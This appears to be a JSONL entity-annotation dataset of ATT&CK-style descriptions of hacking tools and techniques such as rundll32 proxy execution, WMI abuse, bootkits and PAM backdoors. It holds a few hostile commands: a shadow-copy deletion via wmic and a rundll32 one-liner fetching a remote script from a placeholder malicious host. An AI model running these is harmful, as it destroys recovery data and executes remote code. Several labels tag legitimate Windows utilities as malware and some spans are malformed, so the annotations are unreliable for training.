+{"text": "Expand is a Windows utility used to expand one or more compressed CAB files. It has been used by BBSRAT to decompress a CAB file into executable content.", "spans": {"MALWARE: Expand": [[0, 6]], "TOOL: expand": [[36, 42]], "SYSTEM: Windows": [[12, 19]], "MALWARE: BBSRAT": [[97, 103]]}, "info": {"source": "apt_reports", "name": "Expand"}}
+{"text": "Pupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool.  It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.).  Pupy is publicly available on GitHub.", "spans": {"MALWARE: Pupy": [[0, 4], [296, 300]], "TOOL: PowerShell": [[232, 242]], "SYSTEM: GitHub": [[326, 332]], "SYSTEM: Android": [[61, 68]], "SYSTEM: Windows": [[40, 47], [206, 213]], "SYSTEM: Python": [[138, 144], [219, 225]], "SYSTEM: Linux": [[49, 54], [258, 263]]}, "info": {"source": "apt_reports", "name": "Pupy"}}
+{"text": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. \n\nUtilities such as Reg are known to be used by persistent threats.", "spans": {"MALWARE: Reg": [[0, 3], [181, 184]], "SYSTEM: Windows": [[9, 16], [51, 58]]}, "info": {"source": "apt_reports", "name": "Reg"}}
+{"text": "ftp is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.", "spans": {"TOOL: ftp": [[0, 3]]}, "info": {"source": "apt_reports", "name": "ftp"}}
+{"text": "Mythic is an open source, cross-platform post-exploitation/command and control platform. Mythic is designed to \"plug-n-play\" with various agents and communication channels. Deployed Mythic C2 servers have been observed as part of potentially malicious infrastructure.", "spans": {"TOOL: Mythic": [[0, 6], [89, 95], [182, 188]]}, "info": {"source": "apt_reports", "name": "Mythic"}}
+{"text": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks.", "spans": {"MALWARE: HTRAN": [[0, 5]]}, "info": {"source": "apt_reports", "name": "HTRAN"}}
+{"text": "SDelete is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools.", "spans": {"MALWARE: SDelete": [[0, 7]], "TOOL: Sysinternals": [[119, 131]], "ORGANIZATION: Microsoft": [[109, 118]]}, "info": {"source": "apt_reports", "name": "SDelete"}}
+{"text": "QuasarRAT is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. QuasarRAT is developed in the C# language.", "spans": {"TOOL: QuasarRAT": [[0, 9], [112, 121]], "SYSTEM: GitHub": [[84, 90]]}, "info": {"source": "apt_reports", "name": "QuasarRAT"}}
+{"text": "cipher.exe is a native Microsoft utility that manages encryption of directories and files on NTFS (New Technology File System) partitions by using the Encrypting File System (EFS).", "spans": {"MALWARE: cipher.exe": [[0, 10]], "ORGANIZATION: Microsoft": [[23, 32]]}, "info": {"source": "apt_reports", "name": "cipher.exe"}}
+{"text": "Rubeus is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations.", "spans": {"TOOL: Rubeus": [[0, 6]], "SYSTEM: Kerberos": [[40, 48]]}, "info": {"source": "apt_reports", "name": "Rubeus"}}
+{"text": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination.", "spans": {"TOOL: Tor": [[0, 3], [212, 215]]}, "info": {"source": "apt_reports", "name": "Tor"}}
+{"text": "AdFind is a free command-line query tool that can be used for gathering information from Active Directory.", "spans": {"TOOL: AdFind": [[0, 6]], "SYSTEM: Active Directory": [[89, 105]]}, "info": {"source": "apt_reports", "name": "AdFind"}}
+{"text": "Wevtutil is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.", "spans": {"MALWARE: Wevtutil": [[0, 8]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "apt_reports", "name": "Wevtutil"}}
+{"text": "Havij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries.", "spans": {"MALWARE: Havij": [[0, 5], [96, 101]], "VULNERABILITY: SQL Injection": [[22, 35]]}, "info": {"source": "apt_reports", "name": "Havij"}}
+{"text": "Quick Assist is a remote assistance tool primarily for Microsoft Windows, although a macOS version also exists. Quick Assist allows for remote screen sharing and, with end user approval, remote control and command execution on the enabling device.", "spans": {"MALWARE: Quick Assist": [[0, 12], [112, 124]], "SYSTEM: macOS": [[85, 90]], "SYSTEM: Windows": [[65, 72]], "ORGANIZATION: Microsoft": [[55, 64]]}, "info": {"source": "apt_reports", "name": "Quick Assist"}}
+{"text": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.", "spans": {"TOOL: PsExec": [[0, 6]], "ORGANIZATION: Microsoft": [[17, 26]]}, "info": {"source": "apt_reports", "name": "PsExec"}}
+{"text": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.  \n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>. More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.   \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[303, 310]]}, "info": {"source": "apt_reports", "name": "Extra Window Memory Injection"}}
+{"text": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.", "spans": {"TOOL: schtasks": [[199, 207], [1453, 1461]], "SYSTEM: WMI": [[564, 567], [684, 687]], "SYSTEM: Windows": [[26, 33], [186, 193], [430, 437], [499, 506], [528, 535], [779, 786], [885, 892], [1141, 1148]], "SYSTEM: .NET": [[409, 413]]}, "info": {"source": "apt_reports", "name": "Scheduled Task"}}
+{"text": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.", "spans": {"SYSTEM: Unix": [[1003, 1007]], "SYSTEM: Windows": [[1053, 1060]]}, "info": {"source": "apt_reports", "name": "Socket Filters"}}
+{"text": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.", "spans": {}, "info": {"source": "apt_reports", "name": "Indicator Removal from Tools"}}
+{"text": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. \n\nOn Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. Remote Data Staging). <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.", "spans": {"TOOL: WinRAR": [[952, 958]], "TOOL: makecab": [[503, 510]], "TOOL: certutil": [[825, 833]], "TOOL: 7-Zip": [[945, 950]], "SYSTEM: macOS": [[413, 418]], "SYSTEM: Windows": [[442, 449], [464, 471], [725, 732]], "SYSTEM: Linux": [[403, 408]]}, "info": {"source": "apt_reports", "name": "Archive via Utility"}}
+{"text": "Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.\n\nVNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.", "spans": {"TOOL: VNC": [[97, 100], [104, 107], [340, 343], [384, 387], [466, 469], [560, 563], [588, 591], [744, 747], [876, 879]], "TOOL: Remote Desktop Protocol": [[357, 380]], "VULNERABILITY: brute force": [[936, 947]]}, "info": {"source": "apt_reports", "name": "VNC"}}
+{"text": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems. WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model and Windows Remote Management. Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. \n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as Execution of commands and payloads. For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., Inhibit System Recovery).\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by PowerShell as the primary WMI interface. In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.", "spans": {"TOOL: WinRM": [[570, 575]], "TOOL: PowerShell": [[1200, 1210], [1256, 1266]], "TOOL: WMIC": [[1073, 1077], [1130, 1134]], "TOOL: wmic": [[862, 866], [944, 948], [1017, 1021]], "SYSTEM: WMI": [[58, 61], [107, 110], [220, 223], [331, 334], [514, 517], [561, 564], [659, 662], [1226, 1229], [1358, 1361]], "SYSTEM: DCOM": [[523, 527]], "SYSTEM: Windows": [[22, 29], [203, 210], [299, 306], [480, 487], [1117, 1124], [1167, 1174]], "SYSTEM: .NET": [[1371, 1375]], "SYSTEM: Windows 11": [[1117, 1127]]}, "info": {"source": "apt_reports", "name": "Windows Management Instrumentation"}}
+{"text": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files . These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.", "spans": {"FILEPATH: /etc/profile</code>": [[492, 511], [1088, 1107]], "FILEPATH: /etc/profile.d</code>": [[1118, 1139]], "FILEPATH: /etc/profile</code>,": [[2375, 2395]], "FILEPATH: /etc/zshenv</code>,": [[2402, 2421]], "FILEPATH: /etc/zprofile</code>,": [[2428, 2449]], "FILEPATH: /etc/zlogin</code>.": [[2460, 2479]], "FILEPATH: /etc/zlogout</code>": [[2698, 2717]], "FILEPATH: /etc/bashrc</code>": [[2802, 2820]], "THREAT_ACTOR: Rocke": [[1405, 1410], [1686, 1691]], "TOOL: SSH": [[299, 302]], "SYSTEM: macOS": [[2099, 2104], [2194, 2199], [2781, 2786]], "SYSTEM: Magento": [[1707, 1714]], "SYSTEM: Linux": [[998, 1003], [1693, 1698]], "MALWARE: Linux Rabbit": [[1693, 1705]], "MALWARE: Cannon": [[1956, 1962]]}, "info": {"source": "apt_reports", "name": "Malicious Shell Modification"}}
+{"text": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.", "spans": {}, "info": {"source": "apt_reports", "name": "Screen Capture"}}
+{"text": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository. Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk..\n\nSimilar to fileless in-memory behaviors such as Reflective Code Loading and Process Injection, fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of Persistence) and collected data not yet exfiltrated from the victim (e.g., Local Data Staging). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.", "spans": {"FILEPATH: /dev/shm`,": [[341, 351]], "FILEPATH: /run/shm`,": [[353, 363]], "FILEPATH: /var/run`,": [[365, 375]], "FILEPATH: /var/lock`)": [[381, 392]], "FILEPATH: %SystemRoot%\\System32\\Wbem\\Repository`)": [[1490, 1529]], "FILEPATH: %SystemRoot%\\System32\\Config`)": [[1550, 1580]], "SYSTEM: WMI": [[280, 283], [1478, 1481]], "SYSTEM: Windows": [[219, 226], [247, 254]], "SYSTEM: Linux": [[325, 330], [965, 970]]}, "info": {"source": "apt_reports", "name": "Fileless Storage"}}
+{"text": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). \n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. \n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "spans": {"SYSTEM: BIOS": [[490, 494]], "VULNERABILITY: bootkit": [[2, 9]]}, "info": {"source": "apt_reports", "name": "Bootkit"}}
+{"text": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.  \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "spans": {}, "info": {"source": "apt_reports", "name": "Boot or Logon Initialization Scripts"}}
+{"text": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to Impair Defenses and/or in support of a Network Denial of Service.", "spans": {}, "info": {"source": "apt_reports", "name": "Adversary-in-the-Middle"}}
+{"text": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.\n\nOn network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.", "spans": {"FILEPATH: %USERNAME%": [[1111, 1121]], "SYSTEM: macOS": [[856, 861], [965, 970]], "SYSTEM: Linux": [[866, 871]]}, "info": {"source": "apt_reports", "name": "System Owner/User Discovery"}}
+{"text": "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "spans": {}, "info": {"source": "apt_reports", "name": "Acquire Infrastructure"}}
+{"text": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks.\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).\n\nAdditionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.", "spans": {"TOOL: rundll32": [[22, 30], [79, 87], [214, 222], [375, 383], [648, 656], [854, 862], [1181, 1189], [1423, 1431], [1531, 1539], [1687, 1695], [1740, 1748], [2161, 2169]], "SYSTEM: Windows": [[1473, 1480]]}, "info": {"source": "apt_reports", "name": "Rundll32"}}
+{"text": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs. In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.", "spans": {"SYSTEM: Kubernetes": [[303, 313], [361, 371]], "SYSTEM: Docker": [[350, 356], [381, 387]]}, "info": {"source": "apt_reports", "name": "Container and Resource Discovery"}}
+{"text": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\n\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.", "spans": {"SYSTEM: AWS": [[100, 103]], "ORGANIZATION: Cloudflare": [[80, 90]], "ORGANIZATION: Google": [[125, 131]]}, "info": {"source": "apt_reports", "name": "Serverless"}}
+{"text": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.  \n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.", "spans": {"TOOL: PowerShell": [[599, 609]], "TOOL: powershell": [[686, 696]], "SYSTEM: Java": [[925, 929]], "SYSTEM: macOS": [[787, 792]], "SYSTEM: Windows": [[516, 523], [582, 589]]}, "info": {"source": "apt_reports", "name": "Hidden Window"}}
+{"text": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies . There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time .", "spans": {"SYSTEM: macOS": [[160, 165]]}, "info": {"source": "apt_reports", "name": "LC_LOAD_DYLIB Addition"}}
+{"text": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.", "spans": {}, "info": {"source": "apt_reports", "name": "Standard Encoding"}}
+{"text": "Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets. \n\nAdversaries may embed payloads in various file formats to hide payloads. This is similar to Steganography, though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats. \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary. Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format. \n\nEmbedded content may also be used as Process Injection payloads used to infect benign system processes. These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.", "spans": {}, "info": {"source": "apt_reports", "name": "Embedded Payloads"}}
+{"text": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism.", "spans": {"SYSTEM: macOS": [[64, 69]]}, "info": {"source": "apt_reports", "name": "Plist Modification"}}
+{"text": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.", "spans": {"FILEPATH: /etc/passwd</code>": [[414, 432]], "FILEPATH: /etc/shadow</code>.": [[443, 462]]}, "info": {"source": "apt_reports", "name": "Pluggable Authentication Modules"}}
